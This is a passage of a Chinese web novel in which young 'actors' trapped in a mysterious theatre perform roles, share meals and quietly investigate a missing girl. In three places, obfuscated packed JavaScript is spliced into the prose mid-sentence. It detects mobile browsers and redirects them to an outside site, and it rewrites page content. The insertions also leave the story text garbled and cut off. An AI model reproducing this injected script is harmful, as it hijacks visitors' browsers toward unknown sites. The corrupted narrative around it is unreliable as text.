她的双胞胎弟弟,邹玉衡,倚在她对面的船板上,做出抱怨的口吻念台词:“这船也太破了吧,我们真到得了那岛吗?” 邹摇光没说话。她双手合十,双目阖拢,嘴唇不出声地喃喃着。邹玉衡瞥了她一眼,不耐烦地叹口气:“又在祷告?你到底是什么时候染上这个癖好的?” 邹摇光还是没理他。片刻后,她睁开眼睛,视线落向远方,微微起伏的海平面映在她的眼中。“这艘船有魔法,你不用担心。” “还有,神会保佑我们的。”她补充一句。邹玉衡听到这句,直接翻了个白眼,但到底碍于姐姐的份量摆在那边,没再说什么。 就这样沉默着摇曳很久。终于,远方透出一点与海水不同的颜色,那是浪潮退去后露出的岛屿边缘。 邹摇光开始检查装备。一边翻看背包,她一边说:“你也看看自己的东西。枪填弹了吗?匕首磨了吗?药剂装好了没?” 虽说是一连串问句,但她语调平缓,并不会让人烦躁。邹玉衡点头,“查过很多次了。没问题。” “好。”邹摇光“啪”地一声关上背包,“那么,复习一下我们的计划。” “上岛之后,尽量绕开出现的人,直奔魔师老巢,杀他个措手不及。”邹玉衡答道。 邹摇光颔首,说:“那些人看似还活着,但应该全部都已经变成魔师的人偶了,他们不算生命,也没有思想,必要情况下,可以击杀。” “我知道啦。倒是老姐你,可不要心软。你的神可没教过你杀戮吧?”邹玉衡咧了下嘴,但那弧度怎么看都不自然,似乎他还没学会该如何这样轻佻随意的笑。 邹摇光垂目,手指轻轻摸过狙击枪光滑的表面。“为了净化罪孽,适当的杀戮是被允许的。神会接受这样的侍奉。” 他们同时向前方望去。近乎完全相同的身形,一模一样的制服,猎人们即将上岸。 ***** 双胞胎一回到客厅,曲语冰就鼓起掌:“没想到啊,你们演技居然这么精湛。” 他笑眯眯的,但这话实在听不出是反讽还是赞美。邹摇光警惕地看向他,邹玉衡却慢吞吞地说:“嗯,毕竟我们初高中都是戏剧社的,这些东西还是练过一点。” 坐在一边喝东西的舒觉挑起眉,“戏剧社?” 邹玉衡点点头,毫无形象地一屁股坐到豆包沙发里,“好累啊。姐姐,你要不要也坐一下?” “你是傻瓜吗,你一个人都坐满了我坐哪里?”邹摇光没好气地说,她犹豫一下,还是决定坐到舒觉旁边去。对方给她倒了一杯自己在喝的东西——原来是青柠片泡水。 邹玉衡四肢并用,半爬半挪过来讨水喝,行动姿态有如陆行章鱼。邹摇光表情更嫌弃了,但手上还是把自己那杯分了他一半。 舒觉注意到,把水壶往他们那边推了推,“别客气,这里多的是。” “谢谢舒觉姐姐。”邹玉衡乖巧地道谢。舒觉给叫得头皮一麻,“别,你还是直接叫我名字就行了。” “那不太礼貌吧。”邹摇光说。舒觉连连摆手,“我也没比你们大几岁。正常叫名字就行。” “就是啊。你们也叫我曲语冰就好了。”曲语冰伸手过来要拿水壶,被舒觉一巴掌拍到爪子上。他嗖一下收回手,大声控诉:“你怎么这样!” “我可没说给你喝。”舒觉冷酷地回答。 双胞胎看着他们互动,四只眼睛转来转去,一脸新奇。半晌,邹摇光小心问道:“你们……是在进来之前就认识了吗?” “不。”舒觉光速否认,她脸都不红地撒谎,“但这种手欠的人我什么时候认识都会想打他。” 邹玉衡忍俊不禁,几点笑声从他嘴里漏出来。曲语冰作出悲伤表情,“没想到我在你心里就是这种人。” “不然呢?”舒觉举起杯子喝水。 四人之间沉默了一会儿。片刻后,舒觉低声开口:“不知道什么时候才能回去。” 曲语冰不由看她一眼。在他看来,谁说这话都有可能,但舒觉总是最不可能的那个。更何况,这才进来几天,比起他们上次在这里度过的时间,完全是九牛一毛,还远远不到丧气的时候。 但邹家双胞胎不知道这一点,作为姐姐,邹摇光显然更有安慰人的经验,她凑近过去,试探性轻轻拍舒觉肩头,“没事,我们一起合作,肯定可以出去的。” 邹玉衡也紧跟着附和:“是啊。” 他说:“只要按照剧团的要求演下去,我们就不会有事的。” 他的脸上仍然残留着纯真与稚气。曲语冰忽然意识到,他们不知道。没有经历过一轮演绎的人很难会有和他们一样的想法。 ——至少在他看来,几乎没有可能靠演戏这条道路来逃脱。 开头的剧目总是给人假象。给人希望。让演员以为,只要乖乖听从安排,或许就可以挣脱这荒诞的舞台,重新回到自己的日常。 他们试过。他们当然试过了。但即使是舒觉这样的人,也没能从最后的几场剧目演绎中完好无缺地走出来。 曲语冰清楚,自己没有失去太多东西,只是因为运气比较好。 他抬起眼睛,看到舒觉装作脆弱地接受姐弟俩的安慰。她说:“嗯……要是真能这样就好了。” 她也不可能再相信这样天真而甜美的愿景了。曲语冰默默想着,在第一个受害者出现过后,大概就没有人能做到相信这个了。 那会是谁?会是在什么时间?他无心去推测。 邹摇光还在努力想点安慰人的话:“嗯……你看,这里其实和外面我们生活的地方也没有很大不同吧?不如说,要是还在高中里,我和玉衡还不能那么自由自在地逛街呢。” “是啊,毕竟现在不是假期。”邹玉衡叹了口气,“每天学习学到累死人了。” “不过,你们不是行知中学的?”舒觉提出疑问,“我听说那所学校很宽松啊。学生都特别自由,特立独行的人一抓一大把。” 说出这句话时,她心中一阵抽动,不是直白的疼痛,但总归让人不适,像哪里的脏器被人拧了一把。她还以为自己已经不会再对这件事有所感触。看来,她还没有成熟到能放过这个。 姐弟俩互相看了一眼。姐姐耸耸肩,“是这样吗?我怎么觉得还挺严的呢?” 弟弟跟着点头,“是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随后他说:“两位,不知道能不能帮我个忙?” 邹摇光抬抬下巴,示意他说。邹玉衡说:“要是你还能有这么有意思的事分享,那也可以考虑考虑。” “那要多少有多少。我是想说,能不能请你们做我的老师?”曲语冰说,“你们应该也有看过,我演戏很烂,你们是戏剧社的,也许可以指点指点。” 姐弟俩对看一眼,而后姐姐邹摇光点点头,答他:“那倒是无所谓,反正在这里也没有其他事可干……不过,你那么努力干吗?反正不要被惩罚就好了吧。” “姐姐,你忘了?如果点数够的话,可以许愿的。”邹玉衡说,他清透的目光落到曲语冰面上,“曲哥是想要这个吧。” 曲语冰笑而不语,似乎是默认了。邹玉衡轻轻的声音落在他们之间:“你想要什么呢?” 空气骤然沉重下来,直压口舌,词句难以吐出分毫。舒觉抱臂上观,这并不关她的事,不过倒也提醒她了。 这里必定存在主动进入的演员。他们定有所求。 而这样的人,是会成为他们的对立面,还是站在他们身边? 11. 第 11 章 面前是一碗冒着热气的面线。 熬了数小时的醇厚鸡汤打底,碧绿葱花点点,灿金的炸虾整齐排列在碗沿,翠色小白菜与玉色面线相依共存,还有一个缓缓淌出流沙般蛋黄的水波蛋。 这碗面放在外面店里要价必定不菲,单看卖相都知道滋味绝佳,然而碗前的人却只是捏住筷子,分毫未动。 乔木抬眼,看向面前的家人:他的母亲双手紧握,抿紧的嘴唇和眼角的细纹无一不诉说着她的焦虑与苦痛;他的姐姐不自觉向前倾身,一双漂亮的眼睛紧紧盯着他的手。她看上去像是快要哭了。 我都还没哭呢。乔木心里叹着气,想要安慰她们,却只觉得语言苍白。他抬起筷子,夹起一卷面线。 一厘米一厘米,咸香的面食靠近嘴唇,他嗅到其中所有滋味:汤中的醇、虾肉的甜、青菜的鲜、面线本身小麦的气息。这曾是他最喜欢的家常菜。 他张开嘴。刹那间,一切画面都扭曲了:十足的冷气打在脚踝,那是从打开的冷冻库中溢出的;面前摆着的不再是熟悉的青花瓷面碗,而是洁白、边缘锋利到能割伤手指的长盘,上面排列着煎好的肉排。那其中还透着点生肉的血粉色。 他亲自用平底锅煎的肉。他亲手从人类肢体上切下的肉。 人肉本身的血腥气和腥味扑面而来。乔木喉咙震颤几下,他猛地摔下筷子,转头奔向卫生间。 在剧烈的呕吐声中,他隐约听到外头姐姐的哭声。还有他母亲绝望的叹息。所有声音混杂在一起,让他心如刀割。 他勉力直起身,看向镜中的自己。面色苍白似鬼、双颊凹陷、红发黯淡卷枯。 乔木摁着洗手台的边缘。眼睫翕动几下,疲惫地阖拢。亲人的悲伤仍然在他身边萦绕不休。 那双眼睛睁开。在美丽的眼瞳深处,仍然燃烧着骇人的明亮,就像暴风雨中的火焰,如何都不能浇熄。 ***** 乔木用筷子沾了一筷头汤,在舌尖点了点,确认温度和味道都没问题后,他盖上锅盖,开始处理案板上的大葱和生姜。 菜刀接触砧板的声音稳定,向来让他感到安心。他注视着翠绿和洁白的植物被切成段,切口工整,大小近似,他相当满意。在做饭的时候,他总能够平静下来,什么也不想,将整个世界收回自己手中。 ……前提是不要有人来打扰他。苏彦行踪可疑地凑近过来,他对着菜板上的东西瞪大双眼,“喔,你的刀工好牛啊。” “熟能生巧而已。”乔木说。如果他没感觉错的话,苏彦刚刚已经在他背后盯了他好一会儿了,不知道是想干嘛。 他决定给对方一个话头,也避免还有继续这种不咸不淡的对话。“有什么事?” “啥?”苏彦猝不及防,乔木开始刨生姜皮,“你在后面盯着厨房半天了。别告诉我你是饿了。” 他的脸有点发红。乔木剁生姜末,差点让密集的“笃笃”声盖过对方的嘟囔:“就是……上午说那种话,对不起。” 哪种话?乔木沉思片刻,才想起来。他说:“不用。那只是演戏而已。” “话是这么说,但听到肯定会很难受吧。”苏彦说,他直视乔木侧脸,“如果我真有个妹妹要选你做男朋友,我也不会那样想的。” 乔木在心里叹了口气。像他这样的人,要怎么在这样的演绎里活下去?他不是悲观主义者,尚且觉得前途渺茫。 “我说了,没关系。”他揭开锅盖,一股白汽带着浓郁香气直窜出来,“你也最好不要把演戏时候发生的事情当真。” “也许是这样。不过我还是得道歉,还有,我完全没觉得你——那个、怎么说,女性化过!”苏彦举起一只手,像宣誓一样。 备餐基本完毕,乔木摘下一次性医用手套扔进垃圾桶,将手放在水龙头下冲洗。他一边说着:“如果是为这几句话本身,也不用。我觉得剧本台词已经写得很客气了。” “一般别人会直接喊我娘娘腔。”还有更恶心、更下流的说法,乔木不觉得有必要说出来。 苏彦冲口而出:“那也太过分了!” 乔木诧异地看向他。“我觉得这比‘肥猪’、‘土老帽’之类的要礼貌吧。” 他是在象牙塔里长大的吗?他难道不知道小孩子对付和自己不一样的人会有多残忍吗?相比之下,几个无关痛痒的外号并不算什么。 苏彦不说话了。乔木不去管他,他检查其他锅里东西的状态,满意地点点头。这剧场里也就这点还过得去:只要点数足够,不管什么食材都能换得到,他查了,甚至真的能有那种他平时只见过没吃过的食材,不过点数也相当惊人就是了。 他听到苏彦小声说:“……但你不会难过吗?” 仿佛一道微弱的光飞流过脑海。它细小地点亮了沿途灰暗,如同他曾经历过这样的时刻,久违的熟悉感浮上心头。 苏彦还在说话:“被人孤立和嘲笑,肯定没人会觉得舒服的。虽然我不知道那是什么感觉,但肯定不好。” 你当然不懂,你看起来就像身边永远不缺朋友的那种。乔木想着,但不知为何,没有把这句他人听来尖刻的话吐出。 这话听起来有点酸酸的,但实际上他并不嫉妒这种人,甚至可以说没什么感觉,这不管他事。很多时候他觉得自己只是在陈述事实,但别人就会觉得他在讽刺或者嘲笑他们。他觉得是这帮人太玻璃心了。 “无所谓。我不在乎别人怎么叫我,或者怎么说我。那和我没关系。”想了一下,乔木还是解释几句,免得这家伙继续愧疚下去。天知道为什么他会这样心地善良。 他把油倒进锅中。“我要做的不是别人嘴里的我。”我只会是我自己塑造出来的我。 既然如此,那别人怎么看自己,又有什么要紧? 苏彦陷入沉思。乔木开始下青菜,习惯性地说了句:“站远点。小心油。” 哪个人站他旁边他都会这样说。但苏彦一脸“你果然是个大好人”的表情,这他实在有点接受不能。刚才果然应该不说话的,他暗忖。 ***** 乔木把最后一锅汤端到桌上,刚好外头门打开,几个脚步声匆匆闯进来。他看了眼,正好是舒觉、曲语冰和祝时明他们三个。 “好饿。今晚吃什么?”看到他站在桌边,曲语冰笑着问道。 “自己过来看。”乔木撂下一句,开始动手舀汤。 舒觉迈着轻巧的步伐来到他手边,乔木递给她一碗汤,她闻到香气,眼神一亮——乔木喜欢他的食客露出这样的表情。她说:“也太香了吧。是萝卜排骨汤吗?” 乔木点点头。他又依此分好剩下三碗汤,并且警告曲语冰:“你敢不把它喝完试试。不准和祝时明偷换。” “天呐,我哪里做过这种事!”曲语冰大呼冤枉。乔木毫不留情揭穿他:“你当我是瞎子?祝时明都快给你撑死了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467491|185517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “两碗汤的话,我还是可以喝下的。”祝时明吹着汤上热气,闻言打圆场道。乔木坐下来,暂且放过这个话题。 苏彦也在餐桌边坐下,他目光一一逡巡过桌上菜肴。“你们每顿都一起吃吗?我好像只见过乔木在做饭。” “就是他做。我们付点数给他。”曲语冰答他。苏彦愣了下,说:“哦,原来是这样。点数可以互相转让的吗?” “没有规则禁止这一点。我们试了一下,发现能成,就这样做了。”舒觉说。 不管看过几次,乔木仍然对她面不改色撒谎的能力惊叹不已。好像不论在什么情况下,她都能自然地说出谎言,宛如那就是真相。明明她知道,在场好几个人都知道此言非真。 除此之外,她的超忆症让她拥有了他人难以企及的记忆能力,还异常聪慧,推理判断和串联线索总是超前他人好几步,他相信警察局没有她将是警界的一大损失。 但他也很清楚,她身上有太多未解的谜团。以她的年纪,那样的黑客技术难以解释,她也从不解释;她恐惧黑暗和密闭空间,个中原因似乎远比一般人的要更深邃难言。 然而说来也怪,他觉得可以信任她。看着给自己添饭的女孩,乔木默默思索。他并非没看过舒觉残酷的姿态,那副模样任何一个人看了都会怀疑她是个毫无同理心的疯子。但他始终觉得,她是个真正有道德的人。 而曲语冰……乔木看着他往碗里加辣酱,还试图将其推销给旁边的祝时明,而祝时明又是个脾气好得他挑不出毛病的人,在对方的热情下节节败退,认命般舀出一小勺辣酱放到自己的饭上。 舒觉也注意到了这一幕。她起身,开始往一个杯子里倒水。因为下一秒,剧烈的呛咳声传遍整张餐桌,祝时明脸色瞬间辣红,他吐出舌头,疯狂喘气,甚至有眼泪夺眶而出。 舒觉把杯子推过去,祝时明道谢都来不及,开始大灌特灌。曲语冰笑得像只得意的红狐,舒觉瞥了他一眼,语气不咸不淡:“你这招还没玩腻?” “远着呢。”曲语冰拍拍祝时明肩膀,“抱歉啦,小明。我也没想到你这么不能吃辣。” 祝时明好不容易缓过来,他有气无力地说出乔木想法:“你这辣度和我能不能吃辣有一点关系吗?……这到底是以谁为目标客户的东西啊。” “别和他比了。他老家巫陵市的。”舒觉说。所有人脸上都露出“原来如此”的神色。那座城市以辣椒闻名,每年都会举办辣椒节,评选出第一辣的辣椒,本地市民相当以他们的辣椒和火爆菜系为荣。 “我也不是觉得乔木你做的菜不好,只是太久没吃辣了,想来点爽口的。”曲语冰转向乔木,脸上笑意不减。 这桌上恐怕只有他一个人能把这罐辣酱称作“爽口”。祝时明跟化身草食动物了一般,只拣清淡的菜吃了。乔木咽下嘴里的饭,回答他:“我无所谓。每个人都有自己的口味,我做的菜不可能合所有人心意。” “反正,被辣到的也不是我。”他补充道,话音中的不赞同溢于言表。曲语冰放下筷子,他的碗里全是红艳艳的。“下次一定,下次一定。” 舒觉不说话,一昧干饭,相当认真。刚刚乔木看到曲语冰掏出辣酱就准备好了水,不过他没想过会是舒觉去倒。在他的印象里,她不是这么贴心的小可爱。 可能在进入演绎后,大家都有所改变了——但它会放大人心中美好的一面?他可不信。 12. 第 12 章 电影院,放映尚未开始,灯光洒在他和旁边人身上。乔木不喜欢在电影院嘎吱嘎吱吃爆米花——他觉得这不卫生,所以他们只买了饮料。 他啜饮着冰凉的柠檬水,享受那种酸酸的味道;那个人喜欢甜的,又不大喝冷饮,所以买的是热可可。饮料他还是能喝得下的,至少揭开盖子闻到气味的时候,不会被他错觉成某种人体成分。 那个人把手伸过来。碰到他手背的时候抖了一下,“怎么这么凉?” 乔木没回话,他用另一只没有握着饮料的手握回去,手心叠着手心,那个人笑了起来,他忽然觉得电影院灯光更明亮了些。 那个人悄声说:“我还没看过前传呢。它是讲什么的?一群人跑步?” 他说:“是。一群不是专业跑者的人去挑战环市接力跑。就是我去年参加的那个。” “我就是看了这部电影的原著漫画才喜欢上跑步的。”他补充说。这不是他第一次分享这件事,对方对此报以心照不宣的笑容。“不知道我看了之后会不会也喜欢。” “有可能。不会也没关系。”他说,“对了,没看前传也不影响理解。或者你不懂的时候,可以问我,我跟你讲。” 那个人瞪圆眼睛。“可是你之前不是说不喜欢看电影的时候说话……” “你的话没关系。”他捏捏对方掌心。那个人面容变得羞赧,他凝视着那张仿佛梦中的面孔,希望每天他都能望见。 那个人轻轻叹口气。他等了半晌,直到灯光一盏一盏暗下去,也没有等到那个人的声音。 那个人犹豫踌躇的性格又冒出来了。乔木并不觉得不耐或生气,他问:“怎么?” 对方又安静了片刻,才在黑暗中悄声说:“你的……那个,怎么样?” 乔木一时间不太确定她是在问哪个。他想想,说:“厌食症?我正在想办法。现在也不至于什么东西都吃不下,中午和你吃饭也没有什么都没吃吧。” “但是,你吃得比之前……少太多了。你瘦了好多。”那个人的声音低低,带着难以察觉的颤抖,但手握得更加用力。 乔木平静地说:“我不会有事。不用担心。” 面前荧幕亮起。影片名字徐徐展开:“十周年纪念:风正来!” ***** 乔木看着曲语冰放下碗筷,不再进食,但也没有离开餐桌。他自己也差不多饱了,舒觉碗里还剩下不少,祝时明则是精力十足还能再战的样子。 他们四个吃饭一直是这样的状态,乔木已经吸取了第一回的教训,不再做那么多的菜免于浪费。主要是曲语冰的饭量他没估算好。真是惨痛的教训。 “乔木有点像妈妈一样啊。”苏彦不知怎地感慨了一句。话音刚落,他就察觉到自己的问题,立刻补充道:“我没有别的意思!就是觉得,你做饭也太厉害了。” 乔木还没说话,舒觉反而率先开口:“为什么?这两件事有什么关联?” 曲语冰也带着点困惑似地附和:“对啊。会做饭和像妈妈没关系吧。” 一时间,整个餐厅都沉默了。苏彦半张着嘴,一脸怀疑自己说错了什么话的表情;祝时明左右环视,他倒是没有多惊讶的样子,只是手里勺面缓缓滑落酱汁,反映出主人大脑正在飞速运转。 随后,他缓缓开口:“嗯……因为一般家里都是妈妈做饭吧。你们俩家里都不是这样?” “哦,原来如此。”曲语冰饶有兴趣地接口,“对啊,我不怎么记得我母亲有做过几次饭。” 苏彦好像想问什么,但还是忍住没问出来。祝时明说:“我的话,一般工作日爸妈没什么空,都是我哥我姐带我解决的。不过休息日要是有空,他们会轮流做。” 这是要轮着一个个讲下去吗?乔木撕开一包消毒湿巾,开始擦拭自己的指缝,“我们家都喜欢做饭,所以谁有空谁做。” 在他十岁之后,大部分时候都是他和姐姐轮流。毕竟母亲上班总是很辛苦,如果可以,他和姐姐都希望可以为她都分担一些。 他注意到苏彦在盯着他手指的动作。他并不在意,只是把用过的湿巾扔到一边的垃圾桶里。这间屋子里的垃圾桶似乎有自动清理功能,每天早上他下来,都会发现里面光洁一新,而他确定没有任何演员会去干这个活儿。 苏彦的情况自不用说,所有人目光看向舒觉。她恰好吃完了,舒觉动作优雅地用纸巾擦拭干净嘴角,站起身,端着自己的碗碟,她面露微笑:“我没有母亲。” 乔木一般认为自己是个话题终结者,但这次,这个角色绝对轮不着他。他看向苏彦,对方果不其然脸上正写着“我真该死啊”,是半夜惊醒都要扇自己两巴掌的程度。 一时间,空气里只回动着女孩冲洗盘子的声音。祝时明试图缓和气氛:“嗯……大家都各有各的情况吧。”他也端起盘子,对乔木露出感谢的笑容,“你做的东西还是那么好吃。碗就我来洗吧。” “不用了。”他本想加句“你洗不干净”,但犹豫一下,还是算了。这句话引起过太多误解,他实在不想和祝时明再来一回。 好在舒觉在洗碗水槽那边喊道:“算了吧,乔木有自己的标准,要我说,我们都达不到他的及格线。” “哦,也是。”祝时明把自己的碗放进水槽另一边,开始洗手。 见所有人都吃完了,乔木开始收拾残局。他一边把残羹剩菜抹进垃圾袋,一边说:“你还可以。” “谁?我吗?”曲语冰坐在他对面,他安适地瘫在椅子上,活像等着谁去服务他。 乔木向来觉得他不是个好东西。他不怎么信任他,尽管他没有抓到过此人撒谎的确实证据,却还是觉得他并不诚实。但舒觉信任他,不管是出于什么原因,所以他也勉强不去怀疑。 但他究竟是为了什么才重新回到这场演绎?他不像他们。乔木扪心自问自己的理由合情合理,但曲语冰从未正儿八经地解释过他愿意重新站上舞台的原因,他问过一次,却被搪塞过去,他听出对方不想回答,看在舒觉的份儿上才没有追问。否则,这样转移话题或者故作无知,对他是一点不起用的。 他哼了一声,根本懒得回答这个明知故问的家伙。那边舒觉大概冲洗完碗筷,走过来说:“你做梦呢。” 她嫌弃地看了他面前的杂乱一眼,坐到了乔木旁边。乔木继续收拾,说:“他一直这么自恋吗?” 舒觉说:“时不时会犯一下病。你就原谅他吧。” “喂,我还在这呢!”曲语冰装出不满的样子。当然,没人理他。 ***** 结束清洁工作,乔木打算去客厅休息一下。不料那里已有人坐下。祝时明双眼注视前方,他手腕上的手环有一小块亮着,似乎是在查看着什么。 非持有者同意,任何投射出的光屏都是只有本人可视的。乔木不知道他在看什么,但不太像什么娱乐的东西,盖因此人表情相当平静,而唇纹上偶尔显出一丝忧虑,仿佛正在看一份有些棘手的病历。 乔木想了下这个比喻是怎么出来的:他好像说过,他是个医学生。他走过去,直接开口道:“你在看什么?” 他没觉得这句话有任何问题。祝时明似乎也没有,他转向他,神情温和:“我在看自己的健康记录。” 乔木知道他在说什么。大部分人出生后不久便会在颈椎内某个地方植入一块芯片,可以全时段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467492|185517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监控身体各项指标,从心跳数到骨盐量不等,人体基本情况都可以大概掌握。这份健康记录是仅有本人可以查看,或者在本人同意时发送给学校或医院作为参考。 当然,如果你不想被记录,可以选择关闭。不过大多数人都会全天开启。就乔木所知,百分之九十九以上持有合法身份证的国民都装入了这块芯片。 他和祝时明当然也不例外。他在祝时明身边坐下来,没注意对方脸上一闪而过的惊奇。“你每天都会看吗?” “嗯?不会。偶尔想起来就看一下。”祝时明说,“反正也就是心率和呼吸频率什么的。最多看一下睡眠时长。” 乔木点点头。他自己之前克服厌食症的时期几乎每顿饭之后都会查看一次,养成了习惯。主要是看消化情况。这个芯片确实很方便,他不需要去医院就能查看自己究竟吃进去了多少东西。 不过现在他看得不会那么勤了。基本上每晚看一次,偶尔还会忘记。他不会任由一种习惯强迫自己。 他们安静地坐了一会儿。祝时明没有再看什么,乔木以为他们就要在这儿坐到地老天荒也不开口时,对方忽然终结了沉默:“你知道这个芯片原本是用来干什么的吗?” 这莫非就是医学生的专项领域?乔木毫无不好意思地点头,承认自己不知道什么并不丢脸,他要是现在和祝时明聊费马定理,相信对方也说不出几句来。 祝时明稍微坐直身体,仿佛是准备上课的老教师,“实际上,这个芯片是用来检测脑部疾病的。” “比如说中风或者脑血管有问题?”乔木问。 祝时明点点头,“这类也在功能范围内。不过,主要是为了解决脑部的认知问题。” 这确实让乔木有些意外:“认知问题?” “最典型的就是阿兹海默症。很多类似的疾病都是发现得越早,治疗效果越好,所以这个监测功能非常重要。”祝时明说,“当时国家投入了挺多资金,不过最后并没有取得理想的成果,所以没有公开大肆报道,传播范围不广。” “那我们现在的检测芯片?” “可以算作当时项目的副产品。” 只是副产品就这么便利了,不知道真正的成品会是什么样。乔木正想着,祝时明又说:“据说这个项目的发起,是因为一位主导人的亲属收到了脑部创伤,出现了很严重的失忆症状,那个人希望能治好亲人,所以主导开启了这一项目。” 原来是这样一个充满情感的起因。乔木看着祝时明,对方金棕色的虹膜在灯光下,仿佛一圈凝聚时光的琥珀,“我感觉你很适合做老师。” “什么?” “你很会讲课。多谢祝老师,我又学到了不少知识。”乔木语气毫无变化,但显然,他在开玩笑。 祝时明也听出来了。他露出一点笑容,“那也不错。不过我还是更想当个医生。” 是这样,不然他读医学做什么,为了堆积成山的作业和苦海无涯的五年?乔木说:“这个事情你是从哪里知道的?我从来没听说过。” 不知为何,他感觉对方的目光闪了闪。“在图书馆看到的。我觉得很有趣,就记住了。” 他还以为是他们什么医学史课上讲授的。乔木也休息够了,正打算离开时,祝时明忽然低声说了一句什么。 乔木略微侧过眼睛,“你刚刚是在和我说什么吗?” “也没有,我就是自言自语。”他笑笑,“我是觉得,医学说到底,还是应该用来救人的啊。” 虽然不明白他为何出此感慨,但乔木配合地说:“确实。” 随后他转身离开,祝时明仍然坐在客厅中,像是在等下一个人的到来。 13. 第 13 章 乔木点开手环,再次确认了一遍那个地址。 这是他从他的田径老师那里得来的。说是田径老师,实际上他并不是田径队的,但这位先生和他母亲是发小,经常免费来教他如何正确跑步。 但会面的时候,有一些地方始终让他觉得奇怪。在走向那个地址的路上,乔木复盘自己的记忆。 他的老师先是对他的情况表示遗憾,随后又说她或许可以联系一些国外的治疗师,说不定对他会有帮助。乔木感谢并婉拒了她的好意,他直叙来此目的:“老师,我想问一下,你这边有毛青菱的联系方式或者地址吗?” 他是带着百分之八十的成功概率来问的。作为田径队总教练,金璟掌握着所有队员的情报,甚至能达到此人谈过几次恋爱对象分别是谁的程度,比校园八卦小报大概就慢上一点。她就是这样一个控制狂。 然而,对方的反应出乎他意料:“毛青菱……?你在说谁?” 乔木愣了一下:“她不是你最喜欢的队员吗?” “我不认识这么个人啊。”金璟说。她苦苦思索起来,最后终于一拍手道:“你说的是毛青翼吧?等下哈。” 她不等乔木回答,便摁开手环兀自查找起来。不过几分钟,她便说:“已经发给你了,毛青翼的住址和联络方式。你找他干什么?” 乔木顿了一下,本想说自己找的不是毛青翼是毛青菱,但转念一想再解释下去似乎会越变越复杂,便住口不言了。反正谁的住址都一样。他们俩是姐弟,也没有父母离异什么的,住的地方当然不会是分开的。 但这很奇怪。他想,毛青菱是小他两届的高中学妹,他听她聊过高中田径队的故事。难道那个时候她在骗人?但那毫无必要。 毕竟,她已经被百分百确认了不是幕后凶手。 公寓楼的铁色门就在眼前。乔木犹豫了一下,他其实有点退缩,但还是摁响了门铃。 开门的瞬间,他把想好很久的话一鼓气全部说出:“女士,对于你的失去,我同样很遗憾……” “抱歉,你在说什么?”开门的女人较他矮小不少,她稍微仰起头,乔木在那张脸上找到了毛青菱的唇形和眉毛,“请问你是……?” 他没找错。但这张面孔分毫没有悲伤过度的痕迹。这不可能。这不应该。 在他想清楚之前,话语已经冲口而出:“您的女儿……” “女儿?你是不是记错了?”那位母亲说,“我只有一个儿子啊。” ***** “好热啊——” 苏彦坐在客厅,霸占着空调前的位置,即使如此他仍然抱怨着。乔木把手里托舒觉借阅的资料放下,无情道:“那你就别天天在外面跑来跑去的。你不热谁热。” 苏彦心胸宽广,根本不把这种话放心上,连呛回去都不会,他说:“但总得去找找有没有新线索吧?不过阿木你一天要做三顿饭,时不时还要被拉去演戏,忙成这样就算了。” 现在他也是在乔木手下吃饭的人之一了,自然熟悉起来。其实心里没有很排斥,乔木还是说:“别叫我那个。” “嘿,害羞什么!”苏彦大笑,他亲热地过去,要拍乔木的肩,像个篮球队里的热心学长,不过手停在半途,他带着点抱歉地说:“不好意思,我忘了。” 乔木叹口气。他平生最恨这种自来熟的家伙,但也总是被这种人吃得死死的。当然,曲语冰那种不算。 苏彦总让他想到好几个人。一个是他发小,也依靠这一手自来熟的绝技和他混成了号称一辈子的哥儿们,另一个……针尖般的刺痛窜过脑海,他眉毛飞快皱了一下,某个模糊的影子闪过,如此熟悉,又被抹去。 他不再去想。乔木举起手中书籍,在苏彦手掌上轻敲一下,权当击过掌。苏彦满足地坐回空调前面,趁没有女生在,他撩起T恤下摆,露出小腹,打算痛快地吹个爽。 乔木扫了一眼,确认此人是个运动达人,不是因为瘦才有的线条。他又翻开手里的东西,继续完成今天的阅读任务。那上面写着:“XX年至XX年重大医学科研项目成果汇编……” 咔嗒一声,大门开了,舒觉清亮的声音飞入客厅:“我们回来了——” 乔木放下纸质书,说:“冷饮在桌上。” 他余光瞥到苏彦慌慌张张一下把T恤拉下来。他心里笑了一下,面上不显,他自己也不清楚为什么会觉得亲切。 舒觉身后跟着洛珠和曲语冰进来。这倒是个少见的组合。乔木随便猜了一下,觉得要么是舒觉想要拉洛珠到自己这边,要么是曲语冰死缠烂打成功让洛珠陪她们出门,要么两者都是。 “哦,那个很好喝的。”苏彦说。他自己的杯子放在客厅玻璃茶几上,杯身上还有残留的水珠,里面只剩下点残渣。 “谢啦,乔木。”舒觉找到自己的杯子。她和乔木一样,是绝对不愿意和别人混用餐具饮具的人,这栋房子里只有他们两个和两个社会人士有自己的一套用具。 乔木点点头。在他这里吃饭的人,已经形成了默认的分组:乔木负责做饭和整理情报,其余人出门收集线索。如果这天有人被抓去演绎,就可以不用参与本日搜寻活动。 